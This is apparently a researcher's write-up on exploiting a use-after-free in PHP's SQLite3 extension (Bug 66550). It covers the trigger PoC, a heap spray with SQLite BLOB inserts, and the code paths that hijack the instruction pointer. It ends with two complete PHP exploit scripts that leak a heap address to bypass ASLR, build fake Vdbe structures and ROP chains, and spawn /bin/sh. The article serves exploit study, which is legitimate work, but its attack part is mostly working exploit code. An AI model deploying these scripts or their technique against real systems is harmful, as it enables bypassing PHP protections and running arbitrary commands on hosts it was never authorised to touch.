As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.
This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysisBug 66550 - SQLite prepared statement use-after-free.
The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.
Trigger
Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204
- <?php
- $db = new SQLite3(':memory:');
- $db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
- // Close the database connection and free the internal sqlite3_stmt object
- $db->close();
- // Access the sqlite3_stmt object via the php_sqlite3_stmt container
- $stmt->reset();
- ?>
- EAX: 0xcccccccc
- EBX: 0xb7420f28 --> 0xbae20
- ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
- EDX: 0xb742cd66 --> 0x4c515300 ('')
- ESI: 0x8a52e38 --> 0xcccccccc
- EDI: 0x0
- EBP: 0xb77cb0c8 --> 0x2
- ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0
- EIP: 0xb73c290d (: mov eax,DWORD PTR [eax+0xc])
- EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
- [-------------------------------------code-------------------------------------]
- 0xb73c2907 : test esi,esi
- 0xb73c2909 : je 0xb73c297d
- 0xb73c290b : mov eax,DWORD PTR [esi]
- => 0xb73c290d : mov eax,DWORD PTR [eax+0xc]
- 0xb73c2910 : mov DWORD PTR [esp],eax
- 0xb73c2913 : call 0xb736fea0
- 0xb73c2918 : mov eax,esi
- 0xb73c291a : call 0xb73c18f0
- gdb-peda$ bt
- #0 0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
- #1 0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
- at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316
- gdb-peda$ x/100x 0x8a52e38
- 0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
- 0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.
Heap spray
Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.
So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.
- <?php
- error_reporting(0);
- $db_spray = new SQLite3(':memory:');
- $db_uaf = new SQLite3(':memory:');
- $db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
- $db_uaf->close();
- for($i = 0; $i <= 300; $i++){
- $id = (string) $i;
- $bar = chr($i) . str_repeat("A", 320);
- $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
- }
- $stmt->reset();
- ?>
- EAX: 0x41414141 ('AAAA')
- EBX: 0xb7420f28 --> 0xbae20
- ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
- EDX: 0xb742cd66 --> 0x4c515300 ('')
- ESI: 0x8a654c0 ('A' ...)
- EDI: 0x0
- EBP: 0xb77cc198 --> 0x3
- ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3
- EIP: 0xb73c290d (: mov eax,DWORD PTR [eax+0xc])
- EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
- [-------------------------------------code-------------------------------------]
- 0xb73c2907 : test esi,esi
- 0xb73c2909 : je 0xb73c297d
- 0xb73c290b : mov eax,DWORD PTR [esi]
- => 0xb73c290d : mov eax,DWORD PTR [eax+0xc]
Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.
Code Path to Control EIP
So how do we get code execution from here? Let's take a look at the structure we control.
- /*
- ** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
- ** is really a pointer to an instance of this structure.
- */
- struct Vdbe {
- sqlite3 *db; /* The database connection that owns this statement */
- Op *aOp; /* Space to hold the virtual machine's program */
- Mem *aMem; /* The memory locations */
- Mem **apArg; /* Arguments to currently executing user function */
- Mem *aColName; /* Column names to return */
- Mem *pResultSet; /* Pointer to an array of results */
- Parse *pParse; /* Parsing context used to create this Vdbe */
- int nMem; /* Number of memory locations currently allocated */
- int nOp; /* Number of instructions in the program */
- int nCursor; /* Number of slots in apCsr[] */
- u32 magic; /* Magic number for sanity checking */
- char *zErrMsg; /* Error message written here */
- Vdbe *pPrev, *pNext; /* Linked list of VDBEs with the same Vdbe.db */
- VdbeCursor **apCsr; /* One element of this array for each open cursor */
- Mem *aVar; /* Values for the OP_Variable opcode. */
- char **azVar; /* Name of variables */
- ynVar nVar; /* Number of entries in aVar[] */
- …..
- …..
- AuxData *pAuxData; /* Linked list of auxdata allocations */
- #ifdef SQLITE_ENABLE_STMT_SCANSTATUS
- i64 *anExec; /* Number of times each op has been executed */
- int nScan; /* Entries in aScan[] */
- ScanStatus *aScan; /* Scan definitions for sqlite3_stmt_scanstatus() */
- #endif
- };
We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details
- SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
- int rc;
- if( pStmt==0 ){
- rc = SQLITE_OK;
- }else{
- Vdbe *v = (Vdbe*)pStmt;
- sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
- rc = sqlite3VdbeReset(v); // take this path
- int sqlite3VdbeReset(Vdbe *p){
- sqlite3 *db;
- db = p->db;
- sqlite3VdbeHalt(p); // take this path
- int sqlite3VdbeHalt(Vdbe *p){
- int rc;
- sqlite3 *db = p->db;
- if( p->db->mallocFailed ){
- p->rc = SQLITE_NOMEM;
- }
- if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
- closeAllCursors(p); // take this path
- static void closeAllCursors(Vdbe *p){
- if( p->pFrame ){ // set p->pFrame to NULL
- VdbeFrame *pFrame;
- for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
- sqlite3VdbeFrameRestore(pFrame);
- p->pFrame = 0;
- p->nFrame = 0;
- }
- assert( p->nFrame==0 );
- if( p->apCsr ){ // take this path
- int i;
- for(i=0; i < p->nCursor; i++){
- VdbeCursor *pC = p->apCsr[i];
- if( pC ){
- sqlite3VdbeFreeCursor(p, pC); // take this path
sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it
- int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
- Vdbe *v = pFrame->v;
- #ifdef SQLITE_ENABLE_STMT_SCANSTATUS
- v->anExec = pFrame->anExec;
- #endif
- v->aOnceFlag = pFrame->aOnceFlag;
- v->nOnceFlag = pFrame->nOnceFlag;
- v->aOp = pFrame->aOp;
- v->nOp = pFrame->nOp;
- v->aMem = pFrame->aMem;
- v->nMem = pFrame->nMem;
- v->apCsr = pFrame->apCsr;
- v->nCursor = pFrame->nCursor;
- v->db->lastRowid = pFrame->lastRowid;
- v->nChange = pFrame->nChange;
- v->db->nChange = pFrame->nDbChange;
- return pFrame->pc;
- }
- void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
- if( pCx==0 ){
- return;
- }
- sqlite3VdbeSorterClose(p->db, pCx);
- if( pCx->pBt ){ // set pCx->pBt to NULL
- sqlite3BtreeClose(pCx->pBt);
- /* The pCx->pCursor will be close automatically, if it exists, by
- ** the call above. */
- }
- else if( pCx->pCursor ){ // set pCx->pCursor to NULL
- sqlite3BtreeCloseCursor(pCx->pCursor);
- }
- #ifndef SQLITE_OMIT_VIRTUALTABLE
- else if( pCx->pVtabCursor ){ // take this path
- sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
- const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
- assert( pVtabCursor->pVtab->nRef>0 );
- pVtabCursor->pVtab->nRef--;
- pModule->xClose(pVtabCursor); // control EIP
- }
- #endif
- }
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)
We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.
- struct Vdbe struct sqlite3
- [ sqlite3 *db ]-------->[ AAAA ]
- [ nCursor ] [ AAAA ]
- [VdbeCursor **apCsr]----| [ AAAA ]
- [ nVar ] | [sqlite3_mutex *mutex]
- |
- |--->[apCsr[0] |...| apCsr[n]]
- |
- |
- struct VdbeCursor |
- [sqlite3_vtab_cursor *pVtabCursor]
- |
- struct sqlite3_vtab_cursor |
- [sqlite3_vtab *pVtab] /* Virtual table of this cursor */
- |
- struct sqlite3_vtab |
- [sqlite3_module *pModule]
- |
- struct sqlite3_module |
- [int (*xClose)(sqlite3_vtab_cursor*)]
That's EIP control.
ASLR Bypass using Bruteforce
We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.
The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.
ASLR Bypass using Information Leak
But let's see if we can leak some information using the UAF. This is what the documentation says,
- (PHP 5 >= 5.3.0)
- SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
- public int SQLite3Stmt::paramCount ( void )
And below is the implementation
- /*
- ** Return the number of wildcards that can be potentially bound to.
- ** This routine is added to support DBD::SQLite.
- */
- int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
- Vdbe *p = (Vdbe*)pStmt;
- return p ? p->nVar : 0;
- }
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].
Environment
- Distributor ID: Ubuntu
- Description: Ubuntu 14.04.2 LTS
- Release: 14.04
- Codename: trusty
- $ php -v
- PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03)
- SQLite3 support => enabled
- SQLite3 module version => 0.7-dev
- SQLite Library => 3.8.2
Exploit
Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.
- <?php
- error_reporting(0);
- function pad($num){
- return str_repeat(pack("L", 0x00000000), $num);
- }
- /* For information leak */
- $db_spray = new SQLite3(':memory:');
- $db_ileak = new SQLite3(':memory:');
- $db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
- $db_ileak->close();
- echo("[*] Triggering info leak using UAF". PHP_EOL);
- $leaked_address = array();
- /* massage heap */
- for($i = 0; $i <= 80; $i++){
- $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');
- /* info leak using paramCount */
- $count = $stmt->paramCount();
- $res = $count & 0xff000000;
- if($res >= 0x08000000 && $res <= 0x0c000000)
- array_push($leaked_address, $count);
- }
- $heap = $leaked_address[0];
- echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
- $db_spray->close();
- /* offset to vdbe struct from leaked address */
- $offset = 0x140e8;
- $stmt_address = $heap+$offset;
- echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);
- /* For code execution */
- $db_exp = new SQLite3(':memory:');
- $db_spray = new SQLite3(':memory:');
- $db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
- $stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
- $db_exp->close();
- /* setup fake structures */
- $pad = 6;
- $fake_vdbe = str_repeat(pack("L", 0xdeadbeef), $pad);
- $fake_vdbe .= pack("L", $stmt_address+216); # sqlite3 *db
- $fake_vdbe .= pad(11);
- $fake_vdbe .= pack("L", 0x44444444); # p->nCursor
- $fake_vdbe .= pad(4);
- $fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
- $fake_vdbe .= pad(36);
- # sqlite3 db struct starts here
- $fake_vdbe .= pad(3);
- $fake_vdbe .= pad(1); # sqlite3_mutex *mutex = NULL
- $fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]
- # apCsr struct starts here
- $fake_vdbe .= pad(1); # pCx->Cursor, sqlite3BtreeCloseCursor
- $fake_vdbe .= pad(1); # pCx->pBt, sqlite3BtreeClose
- $fake_vdbe .= pad(6);
- $fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
- $fake_vdbe .= pad(6);
- $fake_vdbe .= pad(1); # pCsr->pSorter
- # pVtabCursor
- $fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
- $fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule
- # pModule
- $fake_vdbe .= pack("L", 0x081a9930); # pop esp; ret
- $fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
- $fake_vdbe .= pack("L", 0x55555555);
- $fake_vdbe .= pack("L", 0x086c2e16); # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
- $fake_vdbe .= pack("L", 0x55555555);
- $fake_vdbe .= pack("L", 0x55555555);
- $fake_vdbe .= pack("L", 0x55555555);
- $fake_vdbe .= pack("L", 0x08183a4b); # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]
- # payload
- $fake_vdbe .= pack("L", 0x080965c0); # execl("/bin/sh", NULL)
- $fake_vdbe .= pack("L", 0xdeadbeef);
- $fake_vdbe .= pack("L", 0x087c1548);
- $fake_vdbe .= pack("L", 0x00000000);
- $fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe));
- /* heap spray */
- for($i = 0; $i <= 200; $i++){
- $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
- }
- echo("[*] Triggering UAF to get shell". PHP_EOL);
- $stmt_exp->reset();
- /*
- renorobert@ubuntu:~$ php -f 66550_poc.php
- [*] Triggering info leak using UAF
- [*] Leaked heap address = 0x9819790
- [*] Vdbe statement struct at address = 0x982d878
- [*] Triggering UAF to get shell
- $
- */
- ?>
Alternate Code Path
After some analysis, I found another code path which is far more simpler to exploit
- static void closeAllCursors(Vdbe *p){
- if( p->pFrame ){ // skip this
- VdbeFrame *pFrame;
- for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
- sqlite3VdbeFrameRestore(pFrame);
- p->pFrame = 0;
- p->nFrame = 0;
- }
- assert( p->nFrame==0 );
- if( p->apCsr ){ // skip this
- int i;
- for(i=0; inCursor; i++){
- VdbeCursor *pC = p->apCsr[i];
- if( pC ){
- sqlite3VdbeFreeCursor(p, pC);
- p->apCsr[i] = 0;
- }
- }
- }
- if( p->aMem ){ // skip this
- releaseMemArray(&p->aMem[1], p->nMem);
- }
- while( p->pDelFrame ){ // skip this
- VdbeFrame *pDel = p->pDelFrame;
- p->pDelFrame = pDel->pParent;
- sqlite3VdbeFrameDelete(pDel);
- }
- /* Delete any auxdata allocations made by the VM */
- if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
- assert( p->pAuxData==0 );
- }
- void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
- AuxData **pp = &pVdbe->pAuxData;
- while( *pp ){
- AuxData *pAux = *pp;
- if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
- {
-
- if( pAux->xDelete ){
- pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete
- struct Vdbe struct sqlite3 [Also a gadget]
- [ sqlite3 *db ]-------->[ AAAA ]
- [ ] [ AAAA ]
- [AuxData *pAuxData ]----| [ AAAA ]
- [ ] | [sqlite3_mutex *mutex]
- |
- | struct AuxData
- |--->[ ]
- [ ]
- [ ]
- [xDelete]
Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].
At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.
But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got
- gdb-peda$ x/3i 0x8093cbe
- 0x8093cbe <_init+30>: add esp,0x8
- 0x8093cc1 <_init+33>: pop ebx
- 0x8093cc2 <_init+34>: ret
- gdb-peda$ x/4wx 0x8093cbe
- 0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit
- <?php
- error_reporting(0);
- function pad($num){
- return str_repeat(pack("L", 0x00000000), $num);
- }
- $db_exp = new SQLite3(':memory:');
- $db_spray = new SQLite3(':memory:');
- $db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
- $db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
- $stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
- $db_exp->close();
- $pad = 298;
- $fake_vdbe = str_repeat(pack("L", 0xdeadbeef), $pad);
- $fake_vdbe .= pack("L", 0x08093cbe); # sqlite3 *db
- /* acts both as sqlite3 struct and gadget, db->mutex = NULL
- gdb-peda$ x/3i 0x8093cbe
- 0x8093cbe <_init+30>: add esp,0x8
- 0x8093cc1 <_init+33>: pop ebx
- 0x8093cc2 <_init+34>: ret
- gdb-peda$ x/4wx 0x8093cbe
- 0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
- */
- $fake_vdbe .= pack("L", 0x086c2e16); # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
- $fake_vdbe .= pad(2);
- # payload
- $fake_vdbe .= pack("L", 0x080965c0); # execl("/bin/sh", NULL)
- $fake_vdbe .= pack("L", 0xdeadbeef);
- $fake_vdbe .= pack("L", 0x087c1548);
- $fake_vdbe .= pack("L", 0x00000000);
- $fake_vdbe .= pad(46);
- $fake_vdbe .= pack("L", 0x0c0c0c0c);
- $fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe));
- echo("[*] Reallocating freed memory". PHP_EOL);
- /* heap spray */
- for($i = 0; $i <= 300; $i++){
- $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
- }
- echo("[*] Heap spraying the gadget". PHP_EOL);
- $spray = str_repeat(pack("L", 0x08189c6f), 0x40000); # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct
- for($i = 0; $i <= 300; $i++){
- $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
- }
- echo("[*] Triggering UAF to get shell". PHP_EOL);
- $stmt_exp->reset();
- ?>